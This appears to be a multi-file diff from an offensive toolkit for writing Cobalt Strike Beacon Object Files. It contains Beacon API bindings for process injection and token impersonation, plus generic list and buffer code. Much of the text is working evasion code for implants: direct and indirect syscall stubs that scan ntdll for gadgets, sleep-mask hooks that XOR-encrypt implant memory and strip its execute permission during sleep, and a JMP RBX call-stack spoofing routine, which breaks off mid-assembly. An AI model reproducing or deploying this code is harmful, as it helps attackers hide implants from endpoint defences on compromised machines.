|
||||
#include <winresrc.h>
|
||||
|
||||
#else
|
||||
|
||||
#if defined(RC_INVOKED)
|
||||
/* Turn off a bunch of stuff to ensure that RC files compile OK. */
|
||||
#define NOATOM
|
||||
#define NOGDI
|
||||
#define NOGDICAPMASKS
|
||||
#define NOMETAFILE
|
||||
#define NOMINMAX
|
||||
#define NOMSG
|
||||
#define NOOPENFILE
|
||||
#define NORASTEROPS
|
||||
#define NOSCROLL
|
||||
#define NOSOUND
|
||||
#define NOSYSMETRICS
|
||||
#define NOTEXTMETRIC
|
||||
#define NOWH
|
||||
#define NOCOMM
|
||||
#define NOKANJI
|
||||
#define NOCRYPT
|
||||
#define NOMCX
|
||||
#endif
|
||||
|
||||
#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_IX86)
|
||||
#define _X86_
|
||||
#if !defined(_CHPE_X86_ARM64_) && defined(_M_HYBRID)
|
||||
#define _CHPE_X86_ARM64_
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_AMD64)
|
||||
#define _AMD64_
|
||||
#endif
|
||||
|
||||
#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_ARM)
|
||||
#define _ARM_
|
||||
#endif
|
||||
|
||||
#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_ARM64)
|
||||
#define _ARM64_
|
||||
#endif
|
||||
|
||||
#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_M68K)
|
||||
#define _68K_
|
||||
#endif
|
||||
|
||||
#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_IA64_) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_MPPC)
|
||||
#define _MPPC_
|
||||
#endif
|
||||
|
||||
#if !defined(_68K_) && !defined(_MPPC_) && !defined(_X86_) && !defined(_M_IX86) && !defined(_AMD64_) && !defined(_ARM_) && !defined(_ARM64_) && defined(_M_IA64)
|
||||
#if !defined(_IA64_)
|
||||
#define _IA64_
|
||||
#endif /* !_IA64_ */
|
||||
#endif
|
||||
|
||||
#ifndef _MAC
|
||||
#if defined(_68K_) || defined(_MPPC_)
|
||||
#define _MAC
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if defined (_MSC_VER)
|
||||
#if ( _MSC_VER >= 800 )
|
||||
#ifndef __cplusplus
|
||||
#pragma warning(disable:4116) /* TYPE_ALIGNMENT generates this - move it */
|
||||
/* outside the warning push/pop scope. */
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifndef RC_INVOKED
|
||||
#if ( _MSC_VER >= 800 )
|
||||
#pragma warning(disable:4514)
|
||||
#ifndef __WINDOWS_DONT_DISABLE_PRAGMA_PACK_WARNING__
|
||||
#pragma warning(disable:4103)
|
||||
#endif
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(push)
|
||||
#endif
|
||||
#pragma warning(disable:4001)
|
||||
#pragma warning(disable:4201)
|
||||
#pragma warning(disable:4214)
|
||||
#endif
|
||||
#include <excpt.h>
|
||||
#include <stdarg.h>
|
||||
#endif /* RC_INVOKED */
|
||||
|
||||
#include <windef.h>
|
||||
#include <winbase.h>
|
||||
#include <wingdi.h>
|
||||
#include <winuser.h>
|
||||
#if !defined(_MAC) || defined(_WIN32NLS)
|
||||
#include <winnls.h>
|
||||
#endif
|
||||
#ifndef _MAC
|
||||
#include <wincon.h>
|
||||
#include <winver.h>
|
||||
#endif
|
||||
#if !defined(_MAC) || defined(_WIN32REG)
|
||||
#include <winreg.h>
|
||||
#endif
|
||||
#ifndef _MAC
|
||||
#include <winnetwk.h>
|
||||
#endif
|
||||
|
||||
#ifndef WIN32_LEAN_AND_MEAN
|
||||
#include <cderr.h>
|
||||
#include <dde.h>
|
||||
#include <ddeml.h>
|
||||
#include <dlgs.h>
|
||||
#ifndef _MAC
|
||||
#include <lzexpand.h>
|
||||
#include <mmsystem.h>
|
||||
#include <nb30.h>
|
||||
#include <rpc.h>
|
||||
#endif
|
||||
#include <shellapi.h>
|
||||
#ifndef _MAC
|
||||
#include <winperf.h>
|
||||
#include <winsock.h>
|
||||
#endif
|
||||
#ifndef NOCRYPT
|
||||
#include <wincrypt.h>
|
||||
#include <winefs.h>
|
||||
#include <winscard.h>
|
||||
#endif
|
||||
|
||||
#ifndef NOGDI
|
||||
#ifndef _MAC
|
||||
#include <winspool.h>
|
||||
#ifdef INC_OLE1
|
||||
#include <ole.h>
|
||||
#else
|
||||
#include <ole2.h>
|
||||
#endif /* !INC_OLE1 */
|
||||
#endif /* !MAC */
|
||||
#include <commdlg.h>
|
||||
#endif /* !NOGDI */
|
||||
#endif /* WIN32_LEAN_AND_MEAN */
|
||||
|
||||
#include <stralign.h>
|
||||
|
||||
#ifdef _MAC
|
||||
#include <winwlm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef INC_OLE2
|
||||
#include <ole2.h>
|
||||
#endif /* INC_OLE2 */
|
||||
|
||||
#ifndef _MAC
|
||||
#ifndef NOSERVICE
|
||||
#include <winsvc.h>
|
||||
#endif
|
||||
|
||||
#if(WINVER >= 0x0400)
|
||||
#ifndef NOMCX
|
||||
#include <mcx.h>
|
||||
#endif /* NOMCX */
|
||||
|
||||
#ifndef NOIME
|
||||
#include <imm.h>
|
||||
#endif
|
||||
#endif /* WINVER >= 0x0400 */
|
||||
#endif
|
||||
|
||||
#ifndef RC_INVOKED
|
||||
#if ( _MSC_VER >= 800 )
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(pop)
|
||||
#else
|
||||
#pragma warning(default:4001)
|
||||
#pragma warning(default:4201)
|
||||
#pragma warning(default:4214)
|
||||
/* Leave 4514 disabled. It's an unneeded warning anyway. */
|
||||
#endif
|
||||
#endif
|
||||
#endif /* RC_INVOKED */
|
||||
|
||||
#endif /* RC_INVOKED */
|
||||
|
||||
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) */
|
||||
#pragma endregion
|
||||
|
||||
#endif /* _INC_WINDOWS */
|
||||
|
||||
#endif /* _WINDOWS_ */
|
||||
|
||||
+132
@@ -0,0 +1,132 @@
|
||||
|
||||
// Constants (CALLBACK_* values for BeaconPrintf / BeaconOutput).
|
||||
// Match beacon.h so existing BOFs can be ported verbatim.
|
||||
|
||||
static CALLBACK_OUTPUT: int = 0x0;
|
||||
static CALLBACK_OUTPUT_OEM: int = 0x1e;
|
||||
static CALLBACK_OUTPUT_UTF8: int = 0x20;
|
||||
static CALLBACK_ERROR: int = 0x0d;
|
||||
|
||||
|
||||
struct datap {
|
||||
original: char*,
|
||||
buffer: char*,
|
||||
length: int,
|
||||
size: int,
|
||||
}
|
||||
|
||||
|
||||
struct formatp {
|
||||
original: char*,
|
||||
buffer: char*,
|
||||
length: int,
|
||||
size: int,
|
||||
}
|
||||
|
||||
// Output - print / emit data back to the operator.
|
||||
|
||||
extern fn BeaconPrintf(kind: int, fmt: str) -> void;
|
||||
extern fn BeaconOutput(kind: int, data: char*, len: int) -> void;
|
||||
|
||||
// Input parsing - pull args out of the packed buffer Beacon hands go.
|
||||
|
||||
extern fn BeaconDataParse(parser: datap*, buffer: char*, size: int) -> void;
|
||||
extern fn BeaconDataInt(parser: datap*) -> int;
|
||||
extern fn BeaconDataShort(parser: datap*) -> int;
|
||||
extern fn BeaconDataLength(parser: datap*) -> int;
|
||||
extern fn BeaconDataExtract(parser: datap*, size: int*) -> char*;
|
||||
|
||||
// Format - build up an output buffer in chunks, emit all at once.
|
||||
|
||||
extern fn BeaconFormatAlloc(format: formatp*, maxsz: int) -> void;
|
||||
extern fn BeaconFormatReset(format: formatp*) -> void;
|
||||
extern fn BeaconFormatFree(format: formatp*) -> void;
|
||||
extern fn BeaconFormatAppend(format: formatp*, text: char*, len: int) -> void;
|
||||
extern fn BeaconFormatPrintf(format: formatp*, fmt: str) -> void;
|
||||
extern fn BeaconFormatToString(format: formatp*, size: int*) -> char*;
|
||||
// Real Beacon writes the int big-endian (matches Aggressor's
|
||||
// bof_pack convention). Our local harness does the same so a BOF
|
||||
// that round-trips an int through Format/Data agrees on byte order.
|
||||
extern fn BeaconFormatInt(format: formatp*, value: int) -> void;
|
||||
|
||||
// Token impersonation / context queries.
|
||||
|
||||
extern fn BeaconUseToken(token: void*) -> bool;
|
||||
extern fn BeaconRevertToken() -> void;
|
||||
extern fn BeaconIsAdmin() -> bool;
|
||||
|
||||
// Process injection helpers. Beacon owns the target-process state
|
||||
// so the BOF doesn't have to track sacrificial-process handles.
|
||||
|
||||
extern fn BeaconGetSpawnTo(x86: bool, buffer: char*, length: int) -> void;
|
||||
extern fn BeaconInjectProcess(
|
||||
process_handle: void*,
|
||||
pid: int,
|
||||
payload: char*,
|
||||
p_length: int,
|
||||
p_offset: int,
|
||||
arg: char*,
|
||||
a_length: int) -> void;
|
||||
extern fn BeaconInjectTemporaryProcess(
|
||||
process_info: void*,
|
||||
payload: char*,
|
||||
p_length: int,
|
||||
p_offset: int,
|
||||
arg: char*,
|
||||
a_length: int) -> void;
|
||||
extern fn BeaconCleanupProcess(process_info: void*) -> void;
|
||||
extern fn BeaconSpawnTemporaryProcess(
|
||||
x86: bool,
|
||||
ignore_token: bool,
|
||||
si: void*,
|
||||
process_info: void*) -> bool;
|
||||
|
||||
// Utility.
|
||||
|
||||
extern fn toWideChar(src: char*, dst: u16*, max: int) -> bool;
|
||||
|
||||
|
||||
extern fn BeaconAddValue(key: char*, ptr: void*) -> bool;
|
||||
extern fn BeaconGetValue(key: char*) -> void*;
|
||||
extern fn BeaconRemoveValue(key: char*) -> bool;
|
||||
|
||||
|
||||
struct BEACON_INFO {
|
||||
// The real struct has ~15 fields. We expose the size by reserving
|
||||
// a 256-byte block; user code reads specific offsets via casts
|
||||
// if it needs particular fields until we ship a typed wrapper.
|
||||
raw: u8[256],
|
||||
}
|
||||
|
||||
extern fn BeaconInformation(info: BEACON_INFO*) -> bool;
|
||||
|
||||
// Error reporting (Cobalt Strike 4.10+).
|
||||
|
||||
extern fn BeaconIsErrorMessage(type_: int, fmt: str) -> void;
|
||||
|
||||
|
||||
extern fn BeaconGetCustomUserData() -> void*;
|
||||
|
||||
|
||||
extern fn BeaconDataStoreGetItem(index: int) -> void*;
|
||||
extern fn BeaconDataStoreProtectItem(index: int) -> void;
|
||||
extern fn BeaconDataStoreUnprotectItem(index: int) -> void;
|
||||
|
||||
|
||||
extern fn BeaconGate(vftable_p: void*, indices_p: void*) -> bool;
|
||||
extern fn BeaconGateReturnValue() -> char*;
|
||||
extern fn BeaconDisableBeaconGate() -> bool;
|
||||
extern fn BeaconEnableBeaconGate() -> bool;
|
||||
|
||||
// Current syscall obfuscation config. Struct shape is loader-private;
|
||||
// reserve 64 bytes and cast as needed.
|
||||
struct BEACON_SYSCALL_INFO {
|
||||
raw: u8[64],
|
||||
}
|
||||
|
||||
extern fn BeaconGetSyscallInformation(info: BEACON_SYSCALL_INFO*) -> bool;
|
||||
|
||||
|
||||
extern fn BeaconAddCommand(command: char*, function: void*) -> bool;
|
||||
extern fn BeaconRemoveCommand(command: char*) -> bool;
|
||||
extern fn BeaconGetCommand(command: char*) -> void*;
|
||||
@@ -0,0 +1,57 @@
|
||||
|
||||
struct bytes {
|
||||
ptr: u8*,
|
||||
len: u64,
|
||||
}
|
||||
|
||||
// bytes_new - heap-allocate n zero bytes and return the buffer.
|
||||
fn bytes_new(n: u64) -> bytes {
|
||||
var p: u64 = mem.alloc(n);
|
||||
mem.zero(p, n);
|
||||
ret bytes { ptr: (u8*)p, len: n };
|
||||
}
|
||||
|
||||
// bytes_wrap - wrap an externally-owned pointer + length into a
|
||||
// bytes value without copying. Useful when reading a buffer that the
|
||||
// runtime already owns (a Win32 OUT param, shared memory, etc.).
|
||||
fn bytes_wrap(p: u8*, n: u64) -> bytes {
|
||||
ret bytes { ptr: p, len: n };
|
||||
}
|
||||
|
||||
// bytes_len - element count (in bytes).
|
||||
fn bytes_len(b: bytes) -> u64 {
|
||||
ret b.len;
|
||||
}
|
||||
|
||||
// bytes_get - bounds-checked read of one byte. Raises 0xB0 if
|
||||
// i >= b.len; caller handles via try { } catch e { ... }.
|
||||
fn bytes_get(b: bytes, i: u64) -> u8 {
|
||||
if i >= b.len { raise 0xB0; }
|
||||
ret b.ptr[i];
|
||||
}
|
||||
|
||||
// bytes_set - bounds-checked write of one byte. Same raise
|
||||
// semantics as bytes_get.
|
||||
fn bytes_set(b: bytes, i: u64, v: u8) -> int {
|
||||
if i >= b.len { raise 0xB0; }
|
||||
b.ptr[i] = v;
|
||||
ret 0;
|
||||
}
|
||||
|
||||
// bytes_copy - copy min bytes; returns the
|
||||
// number of bytes actually copied. No allocation, no resizing - both
|
||||
// buffers must already exist with the desired sizes.
|
||||
fn bytes_copy(dst: bytes, src: bytes) -> u64 {
|
||||
var n: u64 = src.len;
|
||||
if dst.len < n { n = dst.len; }
|
||||
mem.copy(dst.ptr, src.ptr, n);
|
||||
ret n;
|
||||
}
|
||||
|
||||
// bytes_cmp - 0 iff a and b have identical contents (including
|
||||
// length). Non-zero otherwise. Constant-ish time within the shorter
|
||||
// length; mirrors mem.cmp semantics.
|
||||
fn bytes_cmp(a: bytes, b: bytes) -> int {
|
||||
if a.len != b.len { ret 1; }
|
||||
ret mem.cmp(a.ptr, b.ptr, a.len);
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
|
||||
struct ListNode {
|
||||
value: u64,
|
||||
prev: u64,
|
||||
next: u64,
|
||||
}
|
||||
|
||||
struct List {
|
||||
head: u64,
|
||||
tail: u64,
|
||||
count: u64,
|
||||
}
|
||||
|
||||
// Construction
|
||||
|
||||
fn list_new() -> u64 {
|
||||
var l: u64 = mem.alloc(sizeof(List));
|
||||
// mem.alloc returns NULL on OOM. Memory is zero-init from the BSS heap,
|
||||
// so head/tail/count are already 0 - nothing more to do.
|
||||
ret l;
|
||||
}
|
||||
|
||||
// Append / prepend
|
||||
|
||||
fn list_push(lp: u64, value: u64) -> int {
|
||||
if lp == 0 { ret 0; }
|
||||
var node: u64 = mem.alloc(sizeof(ListNode));
|
||||
if node == 0 { ret 0; }
|
||||
((ListNode)node).value = value;
|
||||
((ListNode)node).prev = ((List)lp).tail;
|
||||
// .next is already 0 from gc zero-init.
|
||||
|
||||
var old_tail: u64 = ((List)lp).tail;
|
||||
if old_tail == 0 {
|
||||
((List)lp).head = node;
|
||||
} else {
|
||||
((ListNode)old_tail).next = node;
|
||||
}
|
||||
((List)lp).tail = node;
|
||||
((List)lp).count = ((List)lp).count + 1;
|
||||
ret 1;
|
||||
}
|
||||
|
||||
fn list_unshift(lp: u64, value: u64) -> int {
|
||||
if lp == 0 { ret 0; }
|
||||
var node: u64 = mem.alloc(sizeof(ListNode));
|
||||
if node == 0 { ret 0; }
|
||||
((ListNode)node).value = value;
|
||||
((ListNode)node).next = ((List)lp).head;
|
||||
// .prev already 0.
|
||||
|
||||
var old_head: u64 = ((List)lp).head;
|
||||
if old_head == 0 {
|
||||
((List)lp).tail = node;
|
||||
} else {
|
||||
((ListNode)old_head).prev = node;
|
||||
}
|
||||
((List)lp).head = node;
|
||||
((List)lp).count = ((List)lp).count + 1;
|
||||
ret 1;
|
||||
}
|
||||
|
||||
// Remove
|
||||
|
||||
fn list_pop(lp: u64) -> u64 {
|
||||
if lp == 0 { ret 0; }
|
||||
var t: u64 = ((List)lp).tail;
|
||||
if t == 0 { ret 0; }
|
||||
var v: u64 = ((ListNode)t).value;
|
||||
var new_tail: u64 = ((ListNode)t).prev;
|
||||
if new_tail == 0 {
|
||||
((List)lp).head = 0;
|
||||
} else {
|
||||
((ListNode)new_tail).next = 0;
|
||||
}
|
||||
((List)lp).tail = new_tail;
|
||||
((List)lp).count = ((List)lp).count - 1;
|
||||
// The node itself stays in the GC heap until the binary exits - bump
|
||||
// allocator has no free. That's the price of "memory safe without
|
||||
// careful lifetime tracking."
|
||||
ret v;
|
||||
}
|
||||
|
||||
fn list_shift(lp: u64) -> u64 {
|
||||
if lp == 0 { ret 0; }
|
||||
var h: u64 = ((List)lp).head;
|
||||
if h == 0 { ret 0; }
|
||||
var v: u64 = ((ListNode)h).value;
|
||||
var new_head: u64 = ((ListNode)h).next;
|
||||
if new_head == 0 {
|
||||
((List)lp).tail = 0;
|
||||
} else {
|
||||
((ListNode)new_head).prev = 0;
|
||||
}
|
||||
((List)lp).head = new_head;
|
||||
((List)lp).count = ((List)lp).count - 1;
|
||||
ret v;
|
||||
}
|
||||
|
||||
fn list_clear(lp: u64) -> int {
|
||||
if lp == 0 { ret 0; }
|
||||
((List)lp).head = 0;
|
||||
((List)lp).tail = 0;
|
||||
((List)lp).count = 0;
|
||||
ret 1;
|
||||
}
|
||||
|
||||
// Read / write
|
||||
|
||||
fn list_count(lp: u64) -> u64 {
|
||||
if lp == 0 { ret 0; }
|
||||
ret ((List)lp).count;
|
||||
}
|
||||
|
||||
// Walk forward from head, no bounds-check error on out-of-range - returns
|
||||
// 0 (same sentinel as "value 0"). Use list_count first if your data
|
||||
// genuinely contains 0 as a valid value.
|
||||
fn list_get(lp: u64, idx: u64) -> u64 {
|
||||
if lp == 0 { ret 0; }
|
||||
var n: u64 = ((List)lp).head;
|
||||
var i: u64 = 0;
|
||||
while n != 0 {
|
||||
if i == idx { ret ((ListNode)n).value; }
|
||||
n = ((ListNode)n).next;
|
||||
i = i + 1;
|
||||
}
|
||||
ret 0;
|
||||
}
|
||||
|
||||
fn list_set(lp: u64, idx: u64, value: u64) -> int {
|
||||
if lp == 0 { ret 0; }
|
||||
var n: u64 = ((List)lp).head;
|
||||
var i: u64 = 0;
|
||||
while n != 0 {
|
||||
if i == idx {
|
||||
((ListNode)n).value = value;
|
||||
ret 1;
|
||||
}
|
||||
n = ((ListNode)n).next;
|
||||
i = i + 1;
|
||||
}
|
||||
ret 0;
|
||||
}
|
||||
|
||||
fn list_contains(lp: u64, value: u64) -> int {
|
||||
if lp == 0 { ret 0; }
|
||||
var n: u64 = ((List)lp).head;
|
||||
while n != 0 {
|
||||
if ((ListNode)n).value == value { ret 1; }
|
||||
n = ((ListNode)n).next;
|
||||
}
|
||||
ret 0;
|
||||
}
|
||||
|
||||
|
||||
fn list_head(lp: u64) -> u64 {
|
||||
if lp == 0 { ret 0; }
|
||||
ret ((List)lp).head;
|
||||
}
|
||||
|
||||
fn list_tail(lp: u64) -> u64 {
|
||||
if lp == 0 { ret 0; }
|
||||
ret ((List)lp).tail;
|
||||
}
|
||||
|
||||
fn list_node_value(np: u64) -> u64 {
|
||||
if np == 0 { ret 0; }
|
||||
ret ((ListNode)np).value;
|
||||
}
|
||||
|
||||
fn list_node_next(np: u64) -> u64 {
|
||||
if np == 0 { ret 0; }
|
||||
ret ((ListNode)np).next;
|
||||
}
|
||||
|
||||
fn list_node_prev(np: u64) -> u64 {
|
||||
if np == 0 { ret 0; }
|
||||
ret ((ListNode)np).prev;
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
|
||||
[Override(Bootstrap)]
|
||||
fn opsec_bootstrap_noop() -> int {
|
||||
ret 0;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
|
||||
[Override(NtCall)]
|
||||
fn opsec_nt_syscall() -> int {
|
||||
asm {
|
||||
mov r10, rcx;
|
||||
db 0x0F, 0x05; // syscall
|
||||
ret;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
|
||||
// Cached gadget address, populated lazily on first NtCall. Zero
|
||||
// means "not yet discovered"; the stub does a slow-path call on the
|
||||
// first invocation and a single load on every subsequent call.
|
||||
static __opsec_syscall_gadget: u64 = 0;
|
||||
|
||||
fn __opsec_find_syscall_gadget() -> u64 {
|
||||
var h_ntdll: void* = Kernel32.GetModuleHandleA("ntdll.dll");
|
||||
if h_ntdll == (void*)0 { ret 0; }
|
||||
var nt_fn: char* = (char*)Kernel32.GetProcAddress(
|
||||
h_ntdll, "NtAllocateVirtualMemory");
|
||||
if nt_fn == (char*)0 { ret 0; }
|
||||
var i: int = 0;
|
||||
while i < 32 {
|
||||
if nt_fn[i] == (u8)0x0F {
|
||||
if nt_fn[i + 1] == (u8)0x05 {
|
||||
ret (u64)(nt_fn + i);
|
||||
}
|
||||
}
|
||||
i = i + 1;
|
||||
}
|
||||
ret 0;
|
||||
}
|
||||
|
||||
[Override(NtCall)]
|
||||
fn opsec_indirect_syscall() -> int {
|
||||
asm {
|
||||
mov r10, rcx
|
||||
// Lazy-init the gadget on first call. r11 is volatile under
|
||||
// Win64 and not used by the syscall ABI; safe to scratch.
|
||||
mov r11, %__opsec_syscall_gadget
|
||||
test r11, r11
|
||||
jnz have_gadget
|
||||
push rax
|
||||
push r10
|
||||
sub rsp, 0x20
|
||||
call %__opsec_find_syscall_gadget
|
||||
add rsp, 0x20
|
||||
pop r10
|
||||
mov %__opsec_syscall_gadget, rax
|
||||
mov r11, rax
|
||||
pop rax
|
||||
test r11, r11
|
||||
jnz have_gadget
|
||||
db 0x0F, 0x05 // fallback: in-region syscall
|
||||
ret
|
||||
have_gadget:
|
||||
jmp r11
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
|
||||
use opsec_sleep_mask;
|
||||
|
||||
static __opsec_sleep_base: u64 = 0;
|
||||
static __opsec_sleep_size: u64 = 0;
|
||||
static __opsec_sleep_key: u8 = (u8)0x5A;
|
||||
// PAGE_EXECUTE_READ. Override to PAGE_EXECUTE_READWRITE (0x40)
|
||||
// if your loader put the implant in RWX.
|
||||
static __opsec_sleep_prot: u32 = (u32)0x20;
|
||||
// One-shot signalable handle (CreateEventA) that
|
||||
// WaitForSingleObject blocks on. Lazily created on first hook
|
||||
// call so we don't pay the cost on builds where Sleep never fires.
|
||||
static __opsec_sleep_event: u64 = 0;
|
||||
|
||||
[Hook("KERNEL32$Sleep")]
|
||||
fn __opsec_sleep_hook(ms: u32) -> void {
|
||||
var sz: u64 = __opsec_sleep_size;
|
||||
var k: u8 = __opsec_sleep_key;
|
||||
var base: u64 = __opsec_sleep_base;
|
||||
var orig_prot: u32 = __opsec_sleep_prot;
|
||||
|
||||
if sz != 0 {
|
||||
var old: u32 = 0;
|
||||
// 0x04 = PAGE_READWRITE. Strips execute; allows write
|
||||
// (needed for the XOR pass).
|
||||
opsec_set_protect(base, sz, (u32)0x04, &old);
|
||||
opsec_xor_region(base, sz, k);
|
||||
}
|
||||
|
||||
var h: u64 = __opsec_sleep_event;
|
||||
if h == 0 {
|
||||
// Manual-reset, non-signaled, no name. The handle is
|
||||
// never set or closed - the kernel reaps it at process
|
||||
// exit. We just need a wait target.
|
||||
h = (u64)Kernel32.CreateEventA((void*)0, 1, 0, (char*)0);
|
||||
__opsec_sleep_event = h;
|
||||
}
|
||||
if h != 0 {
|
||||
Kernel32.WaitForSingleObject((void*)h, ms);
|
||||
} else {
|
||||
// CreateEventA failed (extremely rare). Fall back to the
|
||||
// real Sleep so the implant doesn't bottleneck.
|
||||
Kernel32.Sleep(ms);
|
||||
}
|
||||
|
||||
if sz != 0 {
|
||||
opsec_xor_region(base, sz, k);
|
||||
// Restore the original page protection.
|
||||
var dummy: u32 = 0;
|
||||
opsec_set_protect(base, sz, orig_prot, &dummy);
|
||||
}
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
|
||||
use opsec_sleep_mask;
|
||||
|
||||
static __opsec_sleep_base: u64 = 0;
|
||||
static __opsec_sleep_size: u64 = 0;
|
||||
static __opsec_sleep_key: u8 = (u8)0x5A;
|
||||
static __opsec_sleep_prot: u32 = (u32)0x20;
|
||||
|
||||
[Hook("KERNEL32$Sleep")]
|
||||
fn __opsec_sleep_hook(ms: u32) -> void {
|
||||
var sz: u64 = __opsec_sleep_size;
|
||||
var k: u8 = __opsec_sleep_key;
|
||||
var base: u64 = __opsec_sleep_base;
|
||||
var orig_prot: u32 = __opsec_sleep_prot;
|
||||
|
||||
if sz != 0 {
|
||||
var old: u32 = 0;
|
||||
opsec_set_protect(base, sz, (u32)0x04, &old); // PAGE_READWRITE
|
||||
opsec_xor_region(base, sz, k);
|
||||
}
|
||||
|
||||
var interval: u64 = 0;
|
||||
var as_i64: i64 = 0 - ((i64)ms * (i64)10000);
|
||||
interval = (u64)as_i64;
|
||||
Ntdll.NtDelayExecution(0, (void*)&interval);
|
||||
|
||||
if sz != 0 {
|
||||
opsec_xor_region(base, sz, k);
|
||||
var dummy: u32 = 0;
|
||||
opsec_set_protect(base, sz, orig_prot, &dummy);
|
||||
}
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
|
||||
fn opsec_xor_region(addr: u64, length: u64, key: u8) -> void {
|
||||
var p: char* = (char*)addr;
|
||||
var i: u64 = 0;
|
||||
while i < length {
|
||||
p[i] = p[i] ^ key;
|
||||
i = i + 1;
|
||||
}
|
||||
ret;
|
||||
}
|
||||
|
||||
fn opsec_anchor() -> u64 {
|
||||
var addr: u64;
|
||||
asm {
|
||||
lea rax, opsec_anchor
|
||||
mov %addr, rax
|
||||
}
|
||||
ret addr;
|
||||
}
|
||||
|
||||
fn opsec_set_protect(addr: u64, length: u64, new_protect: u32, old_out: u32*) -> bool {
|
||||
var ok: int = Kernel32.VirtualProtect(
|
||||
(void*)addr, length, new_protect, old_out);
|
||||
if ok == 0 { ret false; }
|
||||
ret true;
|
||||
}
|
||||
|
||||
fn opsec_mask_region(addr: u64, length: u64, key: u8) -> bool {
|
||||
var old: u32 = 0;
|
||||
// PAGE_READWRITE = 0x04 - strips execute, allows write.
|
||||
if opsec_set_protect(addr, length, 0x04, &old) == false {
|
||||
ret false;
|
||||
}
|
||||
opsec_xor_region(addr, length, key);
|
||||
var dummy: u32 = 0;
|
||||
// Restore. old was set by the first call.
|
||||
opsec_set_protect(addr, length, old, &dummy);
|
||||
ret true;
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
|
||||
use opsec_sleep_mask;
|
||||
|
||||
static __opsec_sleep_base: u64 = 0;
|
||||
static __opsec_sleep_size: u64 = 0;
|
||||
static __opsec_sleep_key: u8 = (u8)0x5A;
|
||||
|
||||
[Hook("KERNEL32$Sleep")]
|
||||
fn __opsec_sleep_hook(ms: u32) -> void {
|
||||
var sz: u64 = __opsec_sleep_size;
|
||||
var k: u8 = __opsec_sleep_key;
|
||||
|
||||
if sz != 0 {
|
||||
opsec_xor_region(__opsec_sleep_base, sz, k);
|
||||
}
|
||||
|
||||
// Self-recursion bypass: this call goes to the real Sleep,
|
||||
// not back into us. The hook compiler suppresses re-entry.
|
||||
Kernel32.Sleep(ms);
|
||||
|
||||
if sz != 0 {
|
||||
opsec_xor_region(__opsec_sleep_base, sz, k);
|
||||
}
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,230 @@
|
||||
|
||||
// JMP RBX gadget cache. Zero = not yet discovered.
|
||||
static __opsec_jmp_rbx_gadget: u64 = 0;
|
||||
|
||||
static __opsec_gadget_tried: u64 = 0;
|
||||
|
||||
fn __opsec_find_jmp_rbx() -> u64 {
|
||||
var h: void* = Kernel32.GetModuleHandleA("ntdll.dll");
|
||||
if h == (void*)0 { ret 0; }
|
||||
var base: char* = (char*)Kernel32.GetProcAddress(h, "NtAllocateVirtualMemory");
|
||||
if base == (char*)0 { ret 0; }
|
||||
var i: int = 0;
|
||||
while i < 0x40000 {
|
||||
if base[i] == (u8)0xFF {
|
||||
if base[i + 1] == (u8)0xE3 {
|
||||
ret (u64)(base + i);
|
||||
}
|
||||
}
|
||||
i = i + 1;
|
||||
}
|
||||
ret 0;
|
||||
}
|
||||
|
||||
// Public initializer. Operators can call this from a [Override]
|
||||
// or from the top of go to do the gadget discovery eagerly
|
||||
// instead of paying for it on the first stackspoof_callN. Idempotent.
|
||||
fn stackspoof_init() -> u64 {
|
||||
if __opsec_gadget_tried != 0 { ret __opsec_jmp_rbx_gadget; }
|
||||
var g: u64 = __opsec_find_jmp_rbx();
|
||||
__opsec_jmp_rbx_gadget = g;
|
||||
__opsec_gadget_tried = 1;
|
||||
ret g;
|
||||
}
|
||||
|
||||
|
||||
fn stackspoof_call0(fn_ptr: u64) -> u64 {
|
||||
asm {
|
||||
// --- Lazy init ---
|
||||
mov r11, %__opsec_jmp_rbx_gadget
|
||||
test r11, r11
|
||||
jnz have0
|
||||
// Mark "tried" before calling discovery so a re-entry
|
||||
// from the discovery path can't recurse infinitely.
|
||||
mov rax, 1
|
||||
mov %__opsec_gadget_tried, rax
|
||||
push rcx
|
||||
sub rsp, 0x20
|
||||
call %__opsec_find_jmp_rbx
|
||||
add rsp, 0x20
|
||||
pop rcx
|
||||
mov %__opsec_jmp_rbx_gadget, rax
|
||||
mov r11, rax
|
||||
test r11, r11
|
||||
jnz have0
|
||||
// Gadget unavailable. Fall back to a plain call so user
|
||||
// code still works - just without the spoof benefit.
|
||||
mov rax, %fn_ptr
|
||||
call rax
|
||||
ret
|
||||
have0:
|
||||
// Save real return.
|
||||
mov rbx, [rbp + 8]
|
||||
// Target.
|
||||
mov rax, %fn_ptr
|
||||
// Tear down our frame.
|
||||
mov rsp, rbp
|
||||
pop rbp
|
||||
